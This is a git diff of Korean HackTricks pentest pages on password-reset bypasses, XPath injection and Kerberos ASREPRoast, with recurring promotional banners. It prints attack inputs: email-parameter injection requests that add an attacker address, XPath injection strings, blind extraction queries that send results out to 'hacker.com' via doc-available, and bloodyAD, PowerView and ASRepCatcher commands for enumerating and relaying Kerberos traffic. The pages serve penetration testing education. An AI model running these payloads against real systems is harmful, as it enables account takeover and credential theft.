* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}

View file

@ -1,61 +1,61 @@
# 비밀번호 재설정/잊어버린 비밀번호 우회
# Reset/Forgotten Password Bypass
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
<summary>Support HackTricks</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**해킹 통찰력**\
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**최신 공지사항**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## **참조자를 통한 비밀번호 재설정 토큰 유출**
## **비밀번호 재설정 토큰 유출 via Referrer**
* HTTP referer 헤더는 URL에 포함된 경우 비밀번호 재설정 토큰을 유출할 수 있습니다. 이는 사용자가 비밀번호 재설정을 요청한 후 제3자 웹사이트 링크를 클릭할 때 발생할 수 있습니다.
* **영향**: 교차 사이트 요청 위조(CSRF) 공격을 통한 계정 탈취 가능성.
* **악용**: referer 헤더에서 비밀번호 재설정 토큰이 유출되는지 확인하려면, **비밀번호 재설정을 요청**하여 이메일 주소로 **제공된 재설정 링크를 클릭**하세요. **즉시 비밀번호를 변경하지 마세요.** 대신, **Burp Suite를 사용하여 요청을 가로채면서** **제3자 웹사이트**(예: Facebook 또는 Twitter)로 이동하세요. 요청을 검사하여 **referer 헤더에 비밀번호 재설정 토큰이 포함되어 있는지** 확인하세요. 이는 제3자에게 민감한 정보를 노출할 수 있습니다.
* **참**:
* [HackerOne 보고서 342693](https://hackerone.com/reports/342693)
* [HackerOne 보고서 272379](https://hackerone.com/reports/272379)
* **악용**: referer 헤더에서 비밀번호 재설정 토큰이 유출되는지 확인하려면, **비밀번호 재설정을 요청**하여 이메일 주소로 **제공된 재설정 링크를 클릭**합니다. **즉시 비밀번호를 변경하지 마십시오**. 대신, **Burp Suite를 사용하여 요청을 가로채면서** **제3자 웹사이트**(예: Facebook 또는 Twitter)로 이동합니다. 요청을 검사하여 **referer 헤더에 비밀번호 재설정 토큰이 포함되어 있는지** 확인하십시오. 이는 제3자에게 민감한 정보를 노출할 수 있습니다.
* **참고자료**:
* [HackerOne Report 342693](https://hackerone.com/reports/342693)
* [HackerOne Report 272379](https://hackerone.com/reports/272379)
* [비밀번호 재설정 토큰 유출 기사](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
## **비밀번호 재설정 중독**
* 공격자는 비밀번호 재설정 요청 중 Host 헤더를 조작하여 재설정 링크를 악성 사이트로 유도할 수 있습니다.
* **영향**: 재설정 토큰을 공격자에게 유출하여 계정 탈취 가능성.
* **영향**: 재설정 토큰이 공격자에게 유출되어 계정 탈취 가능성.
* **완화 조치**:
* 허용된 도메인 목록에 대해 Host 헤더를 검증하세요.
* 절대 URL을 생성하기 위해 안전한 서버 측 방법을 사용하세요.
* **패치**: `$_SERVER['HTTP_HOST']` 대신 `$_SERVER['SERVER_NAME']`을 사용하여 비밀번호 재설정 URL을 구성하세요.
* **참**:
* 허용된 도메인의 화이트리스트에 대해 Host 헤더를 검증합니다.
* 절대 URL을 생성하기 위해 안전한 서버 측 방법을 사용합니다.
* **패치**: `$_SERVER['HTTP_HOST']` 대신 `$_SERVER['SERVER_NAME']`을 사용하여 비밀번호 재설정 URL을 구성합니다.
* **참고자료**:
* [비밀번호 재설정 중독에 대한 Acunetix 기사](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **이메일 매개변수 조작을 통한 비밀번호 재설정**
공격자는 추가 이메일 매개변수를 추가하여 비밀번호 재설정 요청을 조작할 수 있습니다.
* &를 사용하여 공격자 이메일을 두 번째 매개변수로 추가하세요.
* 공격자 이메일을 두 번째 매개변수로 추가하&
```php
POST /resetPassword
[...]
@ -79,19 +79,19 @@ POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
* 공격자 이메일을 두 번째 매개변수로 추가하여 bcc 사용
* bcc를 사용하여 공격자 이메일을 두 번째 매개변수로 추가합니다.
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
* 공격자 이메일을 두 번째 매개변수로 추가합니다.
* 공격자 이메일을 두 번째 매개변수로 추가하여 ,
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
* JSON 배열의 두 번째 매개변수로 공격자 이메일 추가
* 공격자 이메일을 JSON 배열의 두 번째 매개변수로 추가하십시오.
```php
POST /resetPassword
[...]
@ -121,7 +121,7 @@ POST /api/changepass
## **비율 제한 없음: 이메일 폭탄 공격**
* 비밀번호 재설정 요청에 대한 비율 제한이 없으면 이메일 폭탄 공격이 발생하여 사용자가 재설정 이메일로 압도당할 수 있습니다.
* 비밀번호 재설정 요청에 대한 비율 제한이 없으면 이메일 폭탄 공격이 발생하여 사용자가 재설정 이메일로 압도 수 있습니다.
* **완화 단계**:
* IP 주소 또는 사용자 계정을 기반으로 비율 제한을 구현합니다.
* 자동화된 남용을 방지하기 위해 CAPTCHA 챌린지를 사용합니다.
@ -192,18 +192,18 @@ POST /api/changepass
* 재설정 토큰은 만료 시간이 있어야 하며, 그 이후에는 무효가 됩니다.
* **완화 단계**:
* 재설정 토큰에 대해 합리적인 만료 시간을 설정하고 이를 서버 측에서 엄격하게 시행합니다.
* 재설정 토큰에 대해 합리적인 만료 시간을 설정하고 이를 서버 측에서 엄격 시행합니다.
## 참조
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
**해킹 통찰력**\
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
해킹의 스릴과 도전에 대한 내용을 탐구하세요.
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -32,7 +32,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
## Basic Syntax
XPath Injection으로 알려진 공격 기법은 사용자 입력을 기반으로 XPath(XML Path Language) 쿼리를 형성하여 XML 문서를 쿼리하거나 탐색하는 애플리케이션의 취약점을 이용하는 사용됩니다.
사용자 입력을 기반으로 XPath (XML Path Language) 쿼리를 형성하여 XML 문서를 쿼리하거나 탐색하는 애플리케이션의 취약점을 이용하는 공격 기법인 XPath Injection이 사용됩니다.
### Nodes Described
@ -50,7 +50,7 @@ XPath Injection으로 알려진 공격 기법은 사용자 입력을 기반으
경로 표현식과 그 결과의 예는 다음과 같습니다:
* **bookstore**: "bookstore"라는 이름을 가진 모든 노드가 선택됩니다.
* **/bookstore**: 루트 요소 bookstore가 선택됩니다. 요소에 대한 절대 경로는 슬래시(/)로 시작하는 경로로 표현됩니다.
* **/bookstore**: 루트 요소 bookstore가 선택됩니다. 슬래시 (/)로 시작하는 경로는 요소에 대한 절대 경로를 나타냅니다.
* **bookstore/book**: bookstore의 자식인 모든 book 요소가 선택됩니다.
* **//book**: 문서 내 모든 book 요소가 선택됩니다, 위치에 관계없이.
* **bookstore//book**: bookstore 요소의 자손인 모든 book 요소가 선택됩니다, bookstore 요소 아래의 위치에 관계없이.
@ -58,11 +58,11 @@ XPath Injection으로 알려진 공격 기법은 사용자 입력을 기반으
### Utilization of Predicates
프레디케이트는 선택을 세분화하는 데 사용됩니다:
선택을 세분화하기 위해 술어가 사용됩니다:
* **/bookstore/book\[1]**: bookstore 요소의 첫 번째 book 요소 자식이 선택됩니다. IE 버전 5에서 9까지의 경우 첫 번째 노드를 \[0]으로 인덱싱하는 문제를 해결하기 위해 JavaScript를 통해 SelectionLanguage를 XPath로 설정합니다.
* **/bookstore/book\[last()]**: bookstore 요소의 마지막 book 요소 자식이 선택됩니다.
* **/bookstore/book\[last()-1]**: bookstore 요소의 마지막에서 두 번째 book 요소 자식이 선택됩니다.
* **/bookstore/book\[last()-1]**: bookstore 요소의 에서 두 번째 book 요소 자식이 선택됩니다.
* **/bookstore/book\[position()<3]**: bookstore 요소의 book 요소 자식이 선택됩니다.
* **//title\[@lang]**: lang 속성이 있는 모든 title 요소가 선택됩니다.
* **//title\[@lang='en']**: "lang" 속성 값이 "en"인 모든 title 요소가 선택됩니다.
@ -71,7 +71,7 @@ XPath Injection으로 알려진 공격 기법은 사용자 입력을 기반으
### Handling of Unknown Nodes
와일드카드는 알려지지 않은 노드를 일치시키는 데 사용됩니다:
와일드카드는 알 수 없는 노드를 매칭하는 데 사용됩니다:
* **\***: 모든 요소 노드와 일치합니다.
* **@**\*: 모든 속성 노드와 일치합니다.
@ -79,9 +79,9 @@ XPath Injection으로 알려진 공격 기법은 사용자 입력을 기반으
추가 예는 다음과 같습니다:
* **/bookstore/\***: bookstore 요소의 모든 자식 요소 노드가 선택됩니다.
* **//\***: 문서 내 모든 요소가 선택됩니다.
* **//title\[@\*]**: 적어도 하나의 속성이 있는 모든 title 요소가 선택됩니다.
* **/bookstore/\***: bookstore 요소의 모든 자식 요소 노드를 선택합니다.
* **//\***: 문서 내 모든 요소를 선택합니다.
* **//title\[@\*]**: 최소한 하나의 속성이 있는 모든 title 요소를 선택합니다.
## Example
```xml
@ -173,7 +173,7 @@ doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
### **사용자 비밀번호에서 OR 우회 (두 값이 동일함)**
### **사용자 이름과 비밀번호에서 OR 우회 (두 값이 동일함)**
```
' or '1'='1
" or "1"="1
@ -235,7 +235,7 @@ string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/tex
```
## 블라인드 익스플로이테이션
### **값의 길이를 가져오고 비교를 통해 추출하기:**
### **값의 길이를 고 비교를 통해 추출하기:**
```bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
@ -288,13 +288,13 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
* [XmlChor](https://github.com/Harshal35/XMLCHOR)
## 참고자료
## 참고 문헌
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
@ -307,7 +307,7 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
**최신 공지사항**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
**지금** [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하고 최고의 해커들과 협업을 시작하세요!
**지금** [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하고 오늘날 최고의 해커들과 협력하세요!
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -32,7 +32,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
## ASREPRoast
ASREPRoast는 **Kerberos 사전 인증 필수 속성**이 없는 사용자를 악용하는 보안 공격입니다. 본질적으로 이 취약점은 공격자가 사용자의 비밀번호 없이 도메인 컨트롤러(DC)에서 사용자 인증을 요청할 수 있게 합니다. 그러면 DC는 사용자의 비밀번호에서 파생된 키로 암호화된 메시지로 응답하며, 공격자는 이를 오프라인에서 크랙하여 사용자의 비밀번호를 알아내려고 시도할 수 있습니다.
ASREPRoast는 **Kerberos 사전 인증 필수 속성**이 없는 사용자를 악용하는 보안 공격입니다. 본질적으로 이 취약점은 공격자가 사용자의 비밀번호 없이 도메인 컨트롤러(DC)에서 사용자 인증을 요청할 수 있게 합니다. 그러면 DC는 사용자의 비밀번호에서 파생된 키로 암호화된 메시지로 응답하며, 공격자는 이를 오프라인에서 크랙하여 사용자의 비밀번호를 알아내려고 시도할 수 있습니다.
이 공격의 주요 요구 사항은 다음과 같습니다:
@ -48,7 +48,7 @@ Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
```
{% endcode %}
{% code title="리눅스 사용하기" %}
{% code title="리눅스 사용" %}
```bash
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
```
@ -98,7 +98,7 @@ bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac
## 자격 증명 없이 ASREProast
공격자는 중간자 위치를 사용하여 AS-REP 패킷을 캡처할 수 있으며, 이는 Kerberos 사전 인증이 비활성화되지 않은 상태에서도 네트워크를 통과합니다. 따라서 VLAN의 모든 사용자에게 작동합니다.\
[ASRepCatcher](https://github.com/Yaxxine7/ASRepCatcher) 를 사용하면 가능합니다. 또한, 이 도구는 Kerberos 협상을 변경하여 클라이언트 워크스테이션이 RC4를 사용하도록 강제합니다.
[ASRepCatcher](https://github.com/Yaxxine7/ASRepCatcher) 를 사용하면 이를 수행할 수 있습니다. 또한, 이 도구는 Kerberos 협상을 변경하여 클라이언트 워크스테이션이 RC4를 사용하도록 강제합니다.
```bash
# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher relay -dc $DC_IP
@ -115,7 +115,7 @@ ASRepCatcher listen
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!